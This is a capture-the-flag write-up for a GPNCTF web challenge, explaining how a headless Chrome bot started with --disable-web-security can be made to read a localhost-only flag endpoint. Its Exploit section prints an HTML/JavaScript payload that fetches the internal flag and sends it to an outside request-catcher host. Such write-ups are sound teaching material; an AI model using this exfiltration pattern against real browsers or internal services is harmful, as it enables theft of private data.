I heard you like flags, so I launched Chrome with a lot of flags again so you can get your flag!

This time the flag is localhost:1337/flag, and the bot will visit your URL!

Category: Web

Solver: lukasrad02, Liekedaeler

Flag: GPNCTF{WHY_D0_50M3_0F_TH353_FL4G5_3V3N_3X15T}

Scenario

As the name of the challenge suggests, this challenge is a follow-up on So many flags, so it might make sense to read the writeup for that challenge first. As a quick wrap-up:

  • We were able to upload a file
  • That file was opened in a headless Chrome instance that was launched with many flags
  • One of the flags was --allow-file-access-from-files
  • Therefore, we were able to fetch() the flag from the file system and send it to our server

Analysis

After we’ve noticed that the challenge is similar to So many flags, we created a diff of challenge files from both challenges. The flags used to launch Chrome and the package.json files did not change. The Dockerfile only had some cosmetic changes and the flag has moved from /flag.txt to /flag. So the relevant changes must be in the JavaScript code and indeed, a lot has changed there:

  • The multer library to handle file uploads has been removed
  • Instead of uploading a file, we can submit a URL to be opened in the Chrome instance
  • The flag is read from the file system, stored in a variable and the file is deleted
  • The web app provides a /flag endpoint that serves the flag, but only for requests from localhost (i.e., with remote address ::ffff:127.0.0.1 or ::1)

To us, it was obvious that the check for loopback addresses requires us to let the Chrome instance make the request. In most of the other web challenges of this CTF, we received screenshots from the websites the admin bot visited. In this case, this challenge would have been extremely simple: Just pass http://[::1]:1337/flag as URL to the app and wait for the screenshot of the flag. Unfortunately, in this challenge, we do not receive any response after submitting the URL except of the command used to launch Chrome, just as in So many flags.

An alternative approach would be to set up our own website that fetches the flag from the URL mentioned above and then sends it to our server. Unfortunately, this is restricted by Cross-Origin Resource Sharing (CORS) controls:

For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. For example, fetch() and XMLHttpRequest follow the same-origin policy. This means that a web application using those APIs can only request resources from the same origin the application was loaded from unless the response from other origins includes the right CORS headers.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

The server that serves the requested resource has to opt-in for the resource to be available from other domains. But the web app from the challenge does not set any CORS headers, so we cannot fetch the flag with a script on a page served by us.

Well, actually, we can! Remember the challenge title and the first challenge from the series. Maybe there is a flag set on the Chrome instance to disable CORS controls. So we checked the list of flags for --disable-web-security:

Don’t enforce the same-origin policy; meant for website testing only. This switch has no effect unless –user-data-dir (as defined by the content embedder) is also present.
https://source.chromium.org/chromium/chromium/src/+/main:content/public/common/content_switches.cc?q=kDisableWebSecurity&ss=chromium, found via https://peter.sh/experiments/chromium-command-line-switches/

To our luck, both --disable-web-security and --user-data-dir are set, so we can build an exploit based on the idea outlined above.

Exploit

We wrote the following HTML site that, when accessed, fetches the flag from http://[::1]:1337/flag and forwards it to a request catcher instance:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8"/>
    </head>
    <body>
        <script>
            fetch("http://[::1]:1337/flag").then(res => {
                res.text().then(txt => {
                    fetch("http://demo.requestcatcher.com/?flag=" + encodeURIComponent(txt));
                });
            });
        </script>
    </body>
</html>

To host this, we used python -m http.server 12345 on a server with a publicly accessible IP. A static file hoster of your choice should work equally well.

Afterwards, we can pass the URL where the file is hosted to the app and wait at our request catcher instance for the flag which should appear shortly after. Decoding the URL encoding is fairly simple, as the flag does not contain any special characters except for the curly braces we know about. Otherwise, we could have used CyberChef or the decodeURIComponent() function in JS.